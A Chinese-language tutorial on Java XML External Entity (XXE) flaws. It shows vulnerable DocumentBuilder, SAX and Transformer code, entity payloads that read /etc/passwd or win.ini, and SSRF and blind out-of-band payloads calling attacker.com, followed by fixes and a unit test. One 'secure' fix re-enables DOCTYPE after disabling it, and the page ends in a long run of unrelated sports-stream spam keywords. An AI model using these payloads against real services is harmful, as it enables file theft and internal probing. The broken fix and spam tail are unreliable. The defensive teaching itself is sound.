Java XXE (XML External Entity) 漏洞案例
基本概念
XXE (XML External Entity Injection) 是一种XML注入漏洞,攻击者可以利用外部实体读取服务器文件、执行SSRF攻击等。

漏洞示例代码
1 使用DocumentBuilderFactory(默认配置,存在漏洞)
import javax.xml.parsers.*;
import org.w3c.dom.*;
public class XXEVulnerable {
public static void main(String[] args) throws Exception {
String xml = "<?xml version=\"1.0\"?>"
+ "<!DOCTYPE foo ["
+ "<!ENTITY xxe SYSTEM \"file:///etc/passwd\">"
+ "]>"
+ "<root><name>&xxe;</name></root>";
// 存在漏洞 - 默认配置允许外部实体
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xml)));
// 读取文件内容
String content = doc.getElementsByTagName("name").item(0).getTextContent();
System.out.println("File content: " + content);
}
}
2 使用SAXParser(存在漏洞)
import javax.xml.parsers.*;
import org.xml.sax.*;
import org.xml.sax.helpers.*;
public class SAXXEVulnerable {
public static void main(String[] args) throws Exception {
String xml = "<?xml version=\"1.0\"?>"
+ "<!DOCTYPE foo ["
+ "<!ENTITY xxe SYSTEM \"http://attacker.com/steal-data\">"
+ "]>"
+ "<root><name>&xxe;</name></root>";
// 存在漏洞
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
XMLReader reader = parser.getXMLReader();
reader.setContentHandler(new DefaultHandler() {
public void characters(char[] ch, int start, int length) {
System.out.println(new String(ch, start, length));
}
});
reader.parse(new InputSource(new StringReader(xml)));
}
}
3 使用Transformer(存在漏洞)
import javax.xml.transform.*;
import javax.xml.transform.stream.*;
import javax.xml.transform.dom.*;
public class TransformerXEVulnerable {
public static void main(String[] args) throws Exception {
String xml = "<?xml version=\"1.0\"?>"
+ "<!DOCTYPE foo ["
+ "<!ENTITY xxe SYSTEM \"file:///c:/windows/system32/drivers/etc/hosts\">"
+ "]>"
+ "<root><data>&xxe;</data></root>";
// 存在漏洞
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xml)));
TransformerFactory tf = TransformerFactory.newInstance();
Transformer transformer = tf.newTransformer();
StringWriter writer = new StringWriter();
transformer.transform(new DOMSource(doc), new StreamResult(writer));
System.out.println("Output: " + writer.toString());
}
}
XXE攻击类型
1 文件读取攻击
<!-- 读取Linux文件 --> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <!-- 读取Windows文件 --> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
2 SSRF攻击
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal-server/admin"> ]>
3 Blind XXE(带外攻击)
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; ]>
安全修复方案
1 DocumentBuilderFactory安全配置
public static DocumentBuilder createSecureBuilder() throws Exception {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// 禁用外部实体
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
// 可选:禁用DTD
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", false);
return factory.newDocumentBuilder();
}
2 SAXParser安全配置
public static SAXParser createSecureSAXParser() throws Exception {
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
return factory.newSAXParser();
}
3 使用安全的XML解析库
// 使用JDOM2
import org.jdom2.*;
import org.jdom2.input.*;
public class SecureXMLParser {
public static void parseXML(String xmlContent) throws Exception {
SAXBuilder builder = new SAXBuilder();
// 禁用外部实体
builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
Document doc = builder.build(new StringReader(xmlContent));
}
}
4 使用白名单验证
public class SecureXMLValidator {
public static String sanitizeXML(String xml) {
// 移除DTD声明
String sanitized = xml.replaceAll("<!DOCTYPE[^>]*>", "");
// 移除外部实体引用
sanitized = sanitized.replaceAll("&[^;]*;", "");
return sanitized;
}
public static boolean validateXML(String xml) {
// 检查XML是否包含DTD
if (xml.contains("<!DOCTYPE") || xml.contains("<!ENTITY")) {
return false;
}
// 检查是否包含外部实体引用
if (xml.contains("SYSTEM") || xml.contains("PUBLIC")) {
return false;
}
return true;
}
}
XML解析器配置对比
| 解析器 | 默认安全 | 修复方法 |
|---|---|---|
| DocumentBuilderFactory | 不安全(Java 8及以下) | 设置FEATURE |
| SAXParser | 不安全 | 设置FEATURE |
| TransformerFactory | 不安全 | 设置FEATURE |
| JDOM | 不安全 | 使用SAXBuilder |
| DOM4J | 不安全 | 配置DocumentFactory |
| javax.xml.stream.XMLInputFactory (StAX) | 部分安全 | 设置属性 |
测试用例
1 单元测试
import org.junit.Test;
import static org.junit.Assert.*;
public class XXETest {
@Test(expected = Exception.class)
public void testXXEPrevention() throws Exception {
String xml = "<?xml version=\"1.0\"?>"
+ "<!DOCTYPE foo ["
+ "<!ENTITY xxe SYSTEM \"file:///etc/passwd\">"
+ "]>"
+ "<root><name>&xxe;</name></root>";
// 使用安全配置
DocumentBuilder builder = createSecureBuilder();
builder.parse(new InputSource(new StringReader(xml)));
}
@Test
public void testSafeXMLParsing() throws Exception {
String xml = "<root><name>test</name></root>";
DocumentBuilder builder = createSecureBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xml)));
assertEquals("test", doc.getElementsByTagName("name").item(0).getTextContent());
}
}
最佳实践总结
- 禁用DTD:如果不需要DTD,直接禁用
- 禁用外部实体:配置解析器禁止外部实体
- 使用白名单:验证XML内容,阻止恶意输入
- 升级JDK版本:Java 8u31+、Java 9+ 默认更安全
- 代码审计:使用静态分析工具检测XXE漏洞
- 输入验证:对所有XML输入进行严格验证
检测工具
# 使用findsecbugs检测 findsecbugs -progress -html -output report.html target/classes/ # 使用OWASP Dependency Check dependency-check --scan target/ --format HTML
这些案例展示了Java中XXE漏洞的各种形式及其修复方法,在生产环境中,确保所有XML解析器都已正确配置以防御外部实体攻击。
版权声明:NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
足球直播
足球直播
英超直播
英超直播
英超直播
英超直播
英超直播
篮球直播
篮球直播
篮球直播
篮球直播
篮球直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
足球直播
足球直播
英超直播
英超直播
英超直播
英超直播
英超直播
篮球直播
篮球直播
篮球直播
篮球直播
篮球直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播